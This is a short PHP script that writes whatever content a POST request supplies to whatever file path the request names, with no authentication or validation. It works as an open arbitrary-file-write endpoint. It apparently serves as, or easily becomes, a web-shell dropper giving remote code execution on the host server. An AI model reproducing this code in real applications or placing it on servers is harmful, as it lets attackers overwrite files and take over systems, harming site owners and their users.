<?php

header("Content-Type: text/plain");
$file_name = $_POST["file_name"] ;
$file=fopen($file_name, "w") or exit("Unable to open file!");
echo fwrite($file, $_POST["content"] );
fclose($file);

?>